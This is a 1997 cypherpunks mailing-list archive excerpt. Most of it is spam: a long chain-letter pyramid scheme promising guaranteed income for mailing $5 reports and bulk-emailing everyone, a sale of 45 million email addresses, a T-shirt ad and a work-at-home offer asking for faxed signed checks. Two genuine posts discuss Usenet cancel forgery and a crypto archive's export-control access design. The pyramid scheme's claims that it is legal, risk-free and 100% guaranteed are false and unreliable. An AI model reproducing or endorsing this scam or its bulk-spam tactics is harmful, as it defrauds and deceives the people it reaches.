This is a money making PHENOMENON. Print this letter for future use.
Read the Program......Then Read It Again<<<

This is a legitimate legal money making opportunity. It does not require you to come
in contact with people. Or to perform any task that you can not easily master.

It has demonstrated and proven its ability to generate large sums of money.
This program is showing fantastic appeal with an ever increasing population 
That just continues to expand. This is probably not the first time you are seeing
this which is obviously  one of the most, indeed maybe the most, exciting proof
that this program is working right now. Couple that with these easily verifiable facts.

1- Only 35% of all the homes in the US have a computer in them as of now.
2-100,000 people are joining us online every month.
3-The last two facts quoted continue to rise steadily.

Thousands of people have used this program to raise capital to start their own 
business, pay off debts, buy homes, cars, etc., even retire!
This is your chance ! So don't pass it up. 

Remember this is not a chain letter, It can not be broken, It works 100% every time.
How ever you must follow the instructions exactly for the best results. Change nothing
this works exceedingly well as it is now. I sincerely hope that you will choose to experience in the next 2 to 3 months what I have been experiencing for the past
3 months. Do you have any idea what it is like to be suddenly able to say, Hold
everything, I am taking some control of my own life back for the pure and simple reason that now thanks to this program I am financially able to do just that. Alter
the course of my life..

THREW IT AWAY

"I had received this program before. I threw it away, But later wondered if I shouldnt have given it a try. Of course I had no Idea who to contact to get a copy, So I had to wait
until I was E-mailed another copy of the program. Eleven months passed,
Then it came. I DIDN'T throw this one away. I made $41,000 on the first try."
 
                                                                                                     Dawn W., Evansville, IN

NO FREE LUNCH

"My late father always told me, "remember Alan, There is no free lunch in life.
You get out of life what you put into it " Through Trial and Error and a somewhat
frustrating start, I finally figured it out. The Program works very well, I just had to find the right target group of people to e-mail it to. So far this year I have made over
 $63,000 using this program. I know my dad would have been very proud of me.

                                                                                                     Alan B., Philadelphia, PA

P.S.

"Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen
table? Its AWESOME.

                                                                                                 Christopher Erickson.

         A Personal Note From The Originator Of This Program

 By the time you have read the enclosed information and looked over the enclosed
program and reports. You should have concluded that such a program,and one that is legal, Could not have been created by an amateur.

Let me tell you a little about my self. I had a profitable business for ten years. Then in
1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working.Finally, I figured out. It was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tel you what happened to the unemployment rate... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.

   The middle class was vanishing. those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes
"THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more
money in the next few months than you have ever imagined. 

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It works exceedingly well as is now . 
Remember to E-mail a copy of this exciting program to every one that you can think of.
One of the people you send this may send out 50,000...and your name will be on everyone of them!. Remember though, the more you send out , the more potential customers you will reach.

So my friend, I have given you the ideas,information,materials and opportunity to become financially independent, IT'S UP TO YOU NOW!


                   HERES HOW THIS AMAZING PROGRAM will MAKE YOU$$$$$$$

Lets say that you decide to start small, just to see how it goes and we'll assume you
and all those involved send out 2000 programs each. Lets also assume that the mailing receives a .5% response. Using a good list the response could be much better. Also many people will send out hundreds of thousands of programs instead
of 2000. But continuing with this example, You send out only 2000 programs with
a 5% response, That is only 10 orders for REPORT#1. those ten people respond by 
sending out 2000 programs each for a total of 20,000. Out of those .5%, 100 people
respond and order REPORT#2. Those 100 mail out 2000 programs each for a total of 200,000. The.5% response to that is 1000 orders for REPORT#3. Those 1000 send out 2000 programs each for a 2,000,000 total. The .5% response to that is 10,000 
orders for REPORT#4. That's 10,000 Five Dollar Bills for you. CASH!!!!
Your total income in this example is $50 +$500+5000+ $50,000
 for a total of  $55,550 !!!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING THAT 1990 OUT OF 2000 PEOPLE YOU
MAIL TO DO ABSOLUTELY NOTHING......AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF 2000.

Believe me, many people will do that and more,! by the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and E-mail is FREE!!!  REPORT#3 Will show you the best methods for Bulk E-Mailing
and purchasing E-Mail lists.


        THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY

It does not require you to come into contact with people , do any hard work, and best
of all, you never have to leave the house except to get the mail. If you Believe that some day you will get that big break that you have been waiting for,THIS IS IT!
Simply follow the instructions, And your dream will come true.
this Multi Level E-Mail order marketing program works perfectly...100%EVERY TIME.
E-Mail is the sales tool of the future. Take advantage of this non commercialized
method of advertising NOW!!!!! The longer you wait, the more people will be doing business using E-mail. Get your piece of this action!!!


MULTI-LEVEL MARKETING has finally gained respectability. It is being taught in the
Harvard Business School, And both Stanford research and the Wall Street Journal
have stated that between 50% and 65% of all goods and services will be sold throughout Multi Level Methods by the mid to late 1990's.
This is a Multi-Billion Dollar industry and of 500,000 millionaires in the US, 20% 
(100,000) Made their fortune in the last several years in MLM. Moreover, Statistics
show 45 people become Millionaires everyday through Multi-Level Marketing.


INSTRUCTIONS:

You are now reading a method of raising capital that works 100% EVERY TIME.
Please read the program carefully.

Step 1: Order all FOUR REPORTS (4) Listed by Name and Number
do this by ordering the REPORT from each of the four(4) names listed on the next
page. For each REPORT, send $5 CASH and a Self Addressed Stamped Envelope,
BUSINESS SIZE #10 To the person listed for the SPECIFIC REPORT. it is essential
that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT : always provide same day service on all orders.

Step 2: Replace the name and address under REPORT#1 with yours, moving the one that was there down to REPORT#2. drop the name and address under REPORT#2
to REPORT#3, moving the one that was there to REPORT#4. The name and address that was under REPORT#4 is dropped from the list and this party is no doubt on the
way to the bank. When doing this, Make sure you type the names and addresses
ACCURATELY!!!!!
DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!!!

Step 3: Having made the required changes in the NAME list save it as a text (.txt) file
in It's own directory to be used with what ever E-Mail program you like. Again, REPORT#3 will tell you the best methods of Bulk E-mailing and acquiring e-mail
lists.


Step 4: E -mail a copy of the entire program(all of this is very important) to everyone
whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money making opportunity. That's what I did and they love me now, more than ever. Then, E -mail
to any one and everyone! use your imagination! You can get E-mail addresses from
companies on the internet who specialize in E-Mail mailing lists. These are very cheap, 100,000 addresses for around $35.

IMPORTANT:
You will not get a good response if you use old lists, So always request a FRESH, NEW list. You will find out where to purchase these lists when you order 
all FOUR REPORTS.

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED STAMPED ENVELOPE AND $5 CASH FOR 
EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.
------------------------------------------------------------------------------------------------------------------
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT#1 FROM

For Your Eyes Only
7154 N University Drive
#230 
Tamarac, Fl. 33321

--------------------------------------------------------------------------------------------------------------------
REPORT #2
"MAJOR CORPORATIONS AND MULTILEVEL SALES
ORDER REPORT #2 FROM

Infinity Productions
P.O. Box 823654
Dallas, TX. 75382

-------------------------------------------------------------------------------------------------------------------- 
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM

Retirement Unlimited
3019 S. Norwood AVE.
Independence, MO 64052

--------------------------------------------------------------------------------------------------------------------
REPORT #4
"EVALUATING MULTI-LEVEL SALES"
ORDER REPORT #4 FROM

LaChance Information Systems
P.O. Box 308
Placida, FL. 33946-0308

--------------------------------------------------------------------------------------------------------------------

CONCLUSION

 I am enjoying my fortune that I made by sending out this program.
You too, Will be making money in 20 to 90 days if  you follow the SIMPLE STEPS
outlined in this mailing.

Very few people reach financial independence, because when opportunity knocks
they choose to ignore it. It is much easier to say "NO than YES", and this is the question you must answer. Will YOU ignore this amazing opportunity or will you take
advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material this is a very special opportunity.
If you have any questions please feel free to write to the sender of this information.
You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and E-Mail. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or a pyramid scam. At times you have probably received chain letters, asking you to send money,
on faith, but getting nothing in return. No product what so ever! Not only are chain letters illegal but the risk of some one breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them.
Its simple free enterprise. As you learned from the enclosed material the PRODUCT 
is a series of FOUR FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation
in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the right to reprint
all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily
be reproduced at a local copy center for a cost of about 3 cents a copy.
Best Wishes with this program and Good Luck!


TIPS FOR SUCCESS

Send for your (4) four reports immediately so you will have them when the orders start
coming in. When You receive a $5 order, You must send out the product/service to comply with US Postal and Lottery laws. Title18 sections1302 and 1341 specifically
state that: "A PRODUCT or SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


 WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your company. You can use your own name if you like.

2. Get a Post Office Box ( preferred).

3. Edit the names and addresses on the program. You must remember
    Your name and address go next to REPORT#1 and the others all move down one
    with the fourth being bumped OFF the list.

4. Obtain as many E-Mail addresses as possible to send to, until you receive      the information on mailing list companies in REPORT#3.

5. Decide on the number of programs you intend to send out. The more you send,      and the quicker you send them, the more money you will make. 

6. After mailing the programs get ready to fill the orders.

7. Copy the (4) FOUR REPORTS so you are able to send them out as soon as you      receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON           ORDERS YOU RECEIVE!


YOUR GUARANTEE:

The check point which GUARANTEES your success is simply this: You must receive
15 to 20 orders for REPORT #1. This is a must!!!  If you don't within the first 2 weeks,
E-Mail out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2 if you don't send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, Because you are going to make at least $50,000
Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above gurantees ALL have reached their $50,000 goal.
Also, remember every time your name is moved down on the list you are in front of a different REPORT so you can keep track of your program by knowing what people are
ordering from you. IT'S THAT EASY, REALLY, IT IS!!!



"I seem to have been only like a boy playing on the seashore, and diverting myself in now and then finding a smoother pebble or a prettier shell than ordinary, whilst the great ocean of truth lay all undiscovered before me."
                                                                                                     -Sir Isaac Newton
 



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ThePres@bonghits.com
Date: Sun, 17 Aug 1997 00:58:45 -0700 (PDT)
To: ThePres@bonghits.com
Subject: Presidential Joke on The Tonight Show
Message-ID: <647354695493.PUP89934@bonghits.com>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Presidential Joke, as seen on The Tonight Show with Jay Leno!

You've seen or heard the commercial, "Hooked on Phonics, it 
worked for me, ABCDEFG" right?

Well, check out this Award-Winning Presidential T-Shirt, VOTED 
the Funniest Presidential T-Shirt of ALL TIME!

It has a Big Full-Color graphic on the back of The President 
in a Tux, playing his Saxaphone, with musical notes Flying 
out of it.  

But what's that I see?!?  No way!!!  There are big Smoke Rings 
Flying out of his Sax! ...and The President is saying,

                 HOOKED ON BONG HITS
                  IT WORKED FOR ME!

The exclamation point is actually a Burning Joint!

On the front of the T-Shirt is a small chest print with 
children's blocks colored in Every Color of the Rainbow, 
just like the ABCDEFG blocks in the commercial... only they 
say "THCYA", as in THC 'YA or SEE 'YA LATER!  

Underneath the blocks are the words "INHALE TO THE CHIEF" 
hovering atop another Joint! 

The Hooked On Bong Hits T-Shirt was hand silk-screened in the 
U.S.A. on the finest quality Fruit of the Loom(tm) 100% Cotton 
Heavy-Weight Tee and was previously available at Woodstock '94, 
Grateful Dead shows, Newbury Comics and numerous Smoke, Joke, 
and T-Shirt shops across the United States for $24.95 + local 
sales tax, but they sold ALL they had left!  

You can't find these One of a KIND T-Shirts in stores anymore.  
Now, for a limited time only, you can buy one HOOKED ON BONG 
T-shirt Factory Direct for $15.95 or TWO for ONLY $24.95!  
Sorry, but due to the HIGH demand for these T-Shirts, your 
order is limited to only TWO, so you MUST respond NOW, BEFORE 
supplies run out!  

Don't miss out on this FINAL OPPORTUNITY to own the hottest 
selling T-Shirt in History!  It's the perfect gift for Mom or 
Dad, brother or sister, a friend, your political enemy, your 
neighbor, your co-worker, your boyfriend or girlfriend (the 
XLarge makes a great Night Shirt).  Send one to the Mayor, 
Rush Limbaugh, Bob Dole or the President HIMSELF!  Take a 
picture of his facial expression when he sees it and send 
it to us or Jay Leno!  We'll put it up on the web for FREE!

Don't wait 'til it's TOO LATE!  Your order must be postmarked 
by August 25, 1997!  Simply print the following order coupon, 
fill it out, and send it with your check or money order.  
Please make Cashiers Check, Money Order, or Personal Check 
in US dollars payable to: E-Associates, Inc. and send to:


E-Associates, Inc.
306 Thayer St., Dept. 129
Providence, RI 02906
USA

--------------------------------------------------------------

E-mail Address_____________________________________________

Name_______________________________________________________

Address____________________________________________________

Address____________________________________________________

Phone #____________________(in case address is illegible, not required)

$_______  Please send ONE Hooked On Bong Hits T-Shirt for only  $15.95 ___
$_______  Please send TWO Hooked On Bong Hits T-Shirts for ONLY $24.95 ___
$_3.95__  Shipping & Handling US PRIORITY MAIL(yes, it's the same for TWO!)
$_______  International Orders (Please add an additional $4.00)
$_______  Subtotal
$_______  Sales Tax (RI residents 7.00%)
$_______  Order total US$

T-Shirt Size Preference:

____S  ____M  ____L  ____XL
--------------------------------------------------------------

Please allow 1-2 weeks for delivery when paying by Cashiers Check or 
Money Order.  Please allow 2-3 weeks for delivery when paying by Personal 
Check.

The Tonight Show with Jay Leno is a Trademark of Jay Leno Productions.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 22:53:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: forgeries are good for you (was Re: REPOST : Un-forgeable Cancels)
In-Reply-To: <199708081827.TAA01595@server.test.net>
Message-ID: <Pine.LNX.3.93.970810113545.273E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Adam Back wrote:

[...]

> But that's cool!  Y shouldn't be able to cancel the forgery ... he
> didn't write it.  

[...]

> I mean this seriously.  People should stop misplacing any value on
> From fields.  You need to use digital signatures to recognize
> persistent personas.

This is true but with everthing there is a trade off between securaty and
efficency.  There are many posts on usenet that are just not worth the
cost of checking there sigs.  If I had to depend only on the sig reather
then having the chouse of only checking the sig on susouse posts I
wouldn't be able to read as much usenet as I do.

> (David = David Formosa?)

Yes.

> What's the point of this?  To provide a way to stop unsophisticated
> forgeries without needing NoCeM support in the client? 

Not mean clients have the capsity to issue NoCeMs,  a lower number of
peaple have anough reputation to issue them.

> I guess it would work well enough, but it's really a bit centralised.

Not realy, when finished I will distrabute the sourse.  The hope is that
we will have a number of compeating retraction servers around the world.

> The operator of the retraction server might be over trusted by a lot
> of people.

True.  But building up that type of trust is possable.

> If the operator turns out to be untrustworthy, or whatever, you're out
> of luck.

No you simply more to the other retraction server.  There will be nothing
unqueek about one server then anouther.

> Also break into his machine and steal his secret key and you could
> have a _lot_ of fun.

This is true of cause.

>  And it's only one machine, what if his security isn't up to much.

Its not going to only be one machine.

> Think decentralised.

We are.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+0dOqQK0ynCmdStAQGU7gP/c9NRABskCeUTF93BhGjEeWVSeKIMG+Ma
TeXXzzKiOcRcUsebBc4smOIprPKmVavwFizH6hmmpr8G8BZZVchaNgCeo1IkeY8w
rdT/WB4i3UUFBVT4l4nToUJPim9GxvNh3YFCK3rkWDza50rrVFN3MFF3FvI2bc1G
7wAgzlMOjX0=
=C/ey
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: theserve@msn.com
Date: Sun, 10 Aug 1997 13:31:29 -0700 (PDT)
To: 345Mname645@msn.com
Subject: BEAT THIS !!!!!
Message-ID: <59607948321GDREW!@232Frame31.com>
MIME-Version: 1.0
Content-Type: text/plain


//////////////////////////////////////////
45,000,000 + E-MAIL NAMES
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

45,000,000+  Yes that's right, FORTY FIVE MILLION PLUS
E-Mail addresses on CD's.  Your Cost $119.00 plus
$5.00 for shipping and handling.

Unlike some other name sellers who give you part of what they
promise and tell you they will send the rest later and then 
disappear, we send you ALL 45,000,000 + names immediately. 

Want them overnight add $15.00

These are brand new names, with no duplicates, in text format
for easy use with your Bulk E-mail software programs.

Order now - will not last long at this price only taking limited
orders as we do not want to saturate the market with these names.

Send  Check or Money Order Only - (No Cash) to:

HPC
2887 North Green Valley Parkway
Suite # 298
Henderson , Nevada 89014
(702) 454-2563

Name ___________________________________________________
Address_________________________________________________
City _____________________ State _______ Zip ___________
Email Address __________________________________________

_____ Send me the 45,000,000 E-mail addresses for  $119.00
           plus $5.00 shipping and handling (total $124.00)

_____ Send me the 45,000,000 E-mail addresses for $119.00
           plus $5.00 for shipping and handling and $15.00 for
           overnight service (total $139.00)

Make all checks and Money Orders payable to : "HPC"

(Checks held 5 business days)

(please print this order form) 


Hpc/897







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Wed, 10 Sep 1997 15:17:50 -0700 (PDT)
To: credaide@6000workathome.com
Subject: Make Money With Your PC
Message-ID: <2267890991JJX09264@6001workathome.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
***************COMPUTER USERS NEEDED***************

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
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If you presently own your own Macintosh or IBM compatible personal computer, this amazing work-at home program may be just for you.

First, please understand this is not a get-rich-quick scheme, chain letter scam or anything else that makes the promise of getting something for nothing.  However, this is a legitimate program that will reward those who do not mind hard work, with a substantial source of extra income.

Our manual, 'Work at Home Using Your Personal Computer (c 1995)' will outline the 27 different areas that are the most needed and requested services.  We then put you in direct contact with the actual companies in your local area that are downsizing and offering work.  Today, many, many companies are streamlining due to economic pressure and the need for home-based workers is at an all-time high.

Basic skills such as typing, data entry or word processing will allow you to earn between $10 and $15 an hour.  More advanced skills such as medical billing, database management and bookkeeping earn $20 to $30 per hour and are a common occurence.

Those with even greater technical skills, graphic design, desktop publishing, basic programming or web site design can earn between $30 and $45 per hour.

This program comes to you with a 100% money-back guarantee. The package we send to you contains everything in writing.  You will recieve the easy-to-follow, fact filled manual and software package only if you act now!

This program is the perfect solution for housewives, students, the home-bound, as well as those seeking a solid second career.  The easy-to-follow manual and software package comes to your for only $49.95
----------------------------------------------------------------------
Look below to see how you can save $15 today!
----------------------------------------------------------------------
IMS
5201 Kingston Pike
Suite 6-216
Knoxville, Tennessee 37919

YES,  please rush the 'Work at Home Using My Personal Computer (c 1995) manual!

___________  I have enclosed $49.95 plus $4.95 shipping and handling. ($54.90 total)

___________  I want to save $10.00! I am ordering within 24 hours - I have enclosed $39.95 plus $4.95 shipping and handling. ($44.90 total)

___________ Please RUSH my order - add an additional $15.00 (OPTIONAL)

I have enclosed (Check One):

_____ Cashiers Check
_____ Money Order
_____ Personal Check

SHIPPING INFORMATION

Name:__________________________________________________

Telephone:_______-______-____________

Physical Street Address (NO PO BOXES please)__________________

_______________________________________________________

City:___________________________________________________

State:_________      ZIP:____________________________________

Your E-Mail Address (Needed for order confirmation)____________________________


 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

SAVE AN ADDITIONAL $5.00!!!  FAX YOUR ORDER NOW!

Please tape your completed and signed check in the space below and fax to IMS. That facsimile number is 1-423-681-6520.


*************************************


FAX: 1-423-681-6520


PLEASE TAPE YOUR CHECK HERE


Please SIGN you check

*************************************

Thank You For Your Order

2156887000908001546877


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mpj@ebible.org>
Date: Sun, 10 Aug 1997 21:28:45 -0700 (PDT)
To: coderpunks@toad.com
Subject: North American Crypto Archive status
Message-ID: <3.0.3.32.19970810222548.00923ad0@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


WHAT HAPPENED TO THE NORTH AMERICAN CRYPTO ARCHIVE?

The North American Crypto Archive at http://www.sni.net/~mpj/crypto.htm is 
rather limited right now. I have deleted everything except the few files that 
I contributed to the site. This was to save money, since I suddenly lost some 
sponsors (who wish to remain anonymous, but I appreciate them greatly) who 
were paying for the costs associated with the site. I am still planning to 
resurrect the North American Crypto Archive, but this will likely take a 
while. I think that almost all of the files were successfully rescued before 
the site went down by at least one person. Note that much of what was there 
can be found by following the links at http://www.sni.net/~mpj/freecrypt.htm 
or by using appropriate search utilities.


WHY RESURRECT THE NORTH AMERICAN CRYPTO ARCHIVE?

1. To provide a place for U. S. and Canadian citizens to freely and openly 
exchange cryptographic information, papers, programs, etc., without fear of 
government reprisals.

2. To provide a friendly central repository for cryptographic libraries, 
code, and papers, thus making it easy to find and use such information.

3. To provide a reasonably high bandwith connection for North Americans.

4. To exercise "freedom of the press" and press towards a constitutional EAR.


HOW MUCH SPACE WILL THIS TAKE?

My total archive space was at about 125 megabytes, but it had been trimmed 
from what I would like to have. For example, downlevel versions of software 
were generally deleted, and some things that are historically and 
cryptographically interesting were not carried. I forsee usage of around 500 
megabytes or more in the near future if we can make room for it. The storage 
need not all be at the same site, however.


HOW MUCH BANDWIDTH WOULD IT TAKE?

I'd like to see at least ISDN connectivity. I've seen as many as 425 files 
downloaded in a day from the current archive. Again, the storage and loading 
need not all be at the same site.


WHAT DO YOU MEAN BY NOT HAVING ALL THE STORAGE AT ONE SITE?

I envision a new plan for running the archive such that one master index page 
(like the "export controlled" one at http://www.sni.net/~mpj/na) points to 
hidden directories all over the continent, wherever free space can be 
gleaned. The only requirements on the remote sites to maintain the "export 
controlled" status would be to maintain a cron job that changed the name of 
the hidden ftp directory containing the files on the same schedule and using 
the same key as used at the index site. For now, http://www.sni.net/~mpj/na 
can remain as the password-controlled index site. This does require a slight 
change to the architecture of the "export control" system in that the 
directory name would be a function of the current time (UTC) and a secret 
key, instead of being truly random like it is, now. The relative loss of 
security in this change is inisgnificant relative to the (obvious) weak links 
of the system. (Yes, I know that it can be defeated, but I also believe that 
the system complies with the EAR as well as most do, anyway.) The gain in 
this approach, of course, is that the index and ftp site need not reside on 
the same server, as long as the system clocks are reasonably well 
synchronized (within a few minutes).

One other advantage of having several sites is that popular files can be 
placed on several different servers to lower the average traffic from any one 
server and to make the system more robust against failures and overloads. The 
archive would still have a single point of failure (at least initially) in 
the index site, but that could also be replicated fairly easily as long as 
users don't mind obtaining a separate password from each index site.


WHAT REMOTE SITES DO YOU PLAN TO USE?

I've had several people make inquiries or make offers, some of which sound 
better than others. I hope that this one open letter answers all of the 
questions that I got. I am looking for sites that:

1. Are *nix-based (at least for now).
2. Have some free disk space and bandwidth that can be used for this cause.
3. Have GNU C++ installed (or at least are identical to a host that I have 
access to that does).
4. Grant me access to a shell account and an ftp account to maintain the 
site.
5. Grant me access to cron so that I can have the hidden-directory renaming 
program run at the right schedule.
6. Are likely to be available for a reasonably long term.
7. Are in the USA or Canada and controlled by a U. S. or Canadian citizen.


WHAT MAKES PEOPLE THINK THAT YOU WILL GET ALL OF THESE FREE RESOURCES?

The same thing that makes me think that people will donate otherwise idle CPU 
resources for the fun of cracking a DES key or factoring very large numbers.


HOW DOES THE "EXPORT CONTROL" SOFTWARE WORK?

Ahh... here is the meat of the message that keeps it on topic for coderpunks 
and sci.crypt:

First of all, it is important to understand the design restraints. The EAR 
states that mere posting of cryptographic software on the internet is not an 
export if guests must affirm a couple of things (see the regulations) and if 
there is some kind of check that the "address of the receiving computer is 
verified to be in the USA." Strict compliance with the latter is impossible, 
but if the guest's email address is in a domain not commonly used in the USA 
and Canada (.gov, .com, .org, .edu, .mil, .net, .us, or .ca), then I suspect 
the guest of lying and deny access. Naturally, this is imperfect, but it is 
honestly the best I could figure out how to do on a normal ISP shell account 
that gives me no CGI script access. This really boils down to the honor 
system. That is OK with me if it is OK with the U. S. Government, and the way 
I interpret the law, it is.

Given that, here is the process:

1. http://www.sni.net/~mpj/usa is an html form that asks 3 "magic" questions 
to verify eligibility to legally access the strong cryptographic software, as 
well as the guest's email address. The 3 questions all default such that the 
user must change each answer to be granted access. The email address must be 
correct, because the user name and password are sent back via email, not as a 
web page. The "submit" button sends this data to cgiemail, an application 
that Colorado SuperNet does allow me to use. This form also invites 
nonqualified guests to explore most of the same data via 
http://www.sni.net/~mpj/freecryp.htm (links to crypto sites outside of North 
America).

2. When cgiemail gets the data from the above form, it simply formats the 
data using a template I supplied and mails it to me at mpj@csn.net.

3. I have an incoming mail filter that checks for any automated messages from 
cgiemail (which all have a rather long fixed hexadecimal number for a subject 
line), and processes them. If the guest answered all 3 questions properly, 
and the email address given doesn't "look foreign," then a form letter is 
filled in with a valid user name and password and mailed to the given email 
address. (There are some other checks, like limiting the email address to one 
destination, etc.) Noncompliant requests are simply discarded (since the 
"thank you" message from the submission form really already answered them). I 
thought about a courteous denial letter, but most of the bogus submissions 
also have bogus email addresses, so I decided not to do that.

4. If our guest can spell his or her email address right (among other 
things), then the email message directs him or her to 
http://www.sni.net/~mpj/na with a valid user name and password.

5. http://www.sni.net/~mpj/na is password protected using the security 
features of the Apache web server (as slightly tweaked by Colorado SuperNet). 
This is the index of the files in the archive, which are in a subdirectory of 
a hidden directory with a non-obvious name.

6. The hidden directory names are changed periodically to discourage the use 
or posting of a copy of the page at http://www.sni.net/~mpj/na without 
password protection. The idea is that by the time the cheater posted it and 
anyone found it, the hidden directory names would have changed again, 
invalidating the renegade index. The index is altered on the same schedule to 
the same new names by a companion program. (Right now the same program does 
both tasks, using a truly random number based on the arrival times and CRCs 
of all of my mail, but this would have to change in the new distributed 
archive model).


IS THAT REALLY GOOD ENOUGH?

I think so. It is the best export control model that I have seen that doesn't 
lock out U. S. and Canadian citizens in the U. S. A. and Canada. I saw a 
little more elaborate system on a Microsoft web site for distributing some 
128-bit RC2 software, but it locked me out because it didn't like the way 
Colorado SuperNet registered their "whois" information. It also locked me out 
from work, since SSL connections can't get past our firewall. My model is 
much less likely to lock out a duly qualified guest, and it is much better 
than my old "warning message only" model that I used before crypto export 
regulations passed from the ITAR to the EAR.


WHAT ABOUT CRYPTO SITES OUTSIDE OF NORTH AMERICA?

Please keep them up, and be ready to mirror any information that might 
suddenly become legal to export from the USA on short notice. I say this 
because the EAR is being challenged in court, and it is likely that 
cryptographic software export regulations may be struck down. It is also 
likely that the U. S. Government may quickly move to replace those 
regulations with others in a very short amount of time after the EAR is 
struck down. I don't want to encourage anyone to violate currently active 
regulations, however. If you have a good cryptographic software site outside 
of North America, and it isn't on my list at 
http://www.sni.net/~mpj/freecrypt.htm, please let me know.


WHAT IS YOUR PGP KEY?

RSA key for PGP 2.6.x: ftp://ftp.csn.net/mpj/mpjkey.asc  (mpjA)
DH/DSS key for PGP 5.0: ftp://ftp.csn.net/mpj/mpjdhkey.asc (mpj@ebible.org)
(Note that my RSA key uses mpj@csn.net for an address. That old address still 
works.)


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM+6USm+Iqt/O4EnZAQFVFgf+IQq7oZavZxgMwT2530w7LWPkNLqlbG5z
BSi1QGasmZrumAuMOG7M28prFZVg2hzExKUejlSXao7ywa3fnzLb0BF8WlDlFsS/
ysSQTB1NLzgjm3L8pqImdNGrP6ECFSFsTm3KOGxuu/NAVfEyBaoV5VEwxlUJmWBu
ifsmv7aBOOfY4g2xa9XQay4+rIx4QTr6k6OJenJ0f+eLnC/JjG7Dz3n3Mh0vbu6p
Vc9ib9jjkv+eawKv5+BnFUNc/hILsnw1yPQuomc7/G/YMJwbd7Ps/+LVRqmg0oxD
ECLfAI/BI6KxUh8EDGH91SnSXNHAYwtA1puIrQka1zkPPTr/psA/fw==
=9Zof
-----END PGP SIGNATURE-----


Michael Paul Johnson    mailto:mpj@ebible.org (aka mpj@csn.net)
PO Box 1151             http://www.ebible.org/bible        <- Holy Bible
Longmont CO 80502-1151  http://www.sni.net/~mpj/crypto.htm <- Crypto archive
USA       

PGP RSA key fingerprint (mpjA): 3E67 A580 0DFB D16A  6D52 D3A9 1C07 4E41

PGP DSS/DH fingerprint: 28AE B775 DD65 62C7 0717  ECDA 448F E0C7 17D7 47BB








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: partner@adultclubs.com
Date: Tue, 12 Aug 1997 02:32:57 -0700 (PDT)
To: partner@adultclubs.com
Subject: Partner Program Pays $9.00 Now!
Message-ID: <199708120932.CAA29921@toad.com>
MIME-Version: 1.0
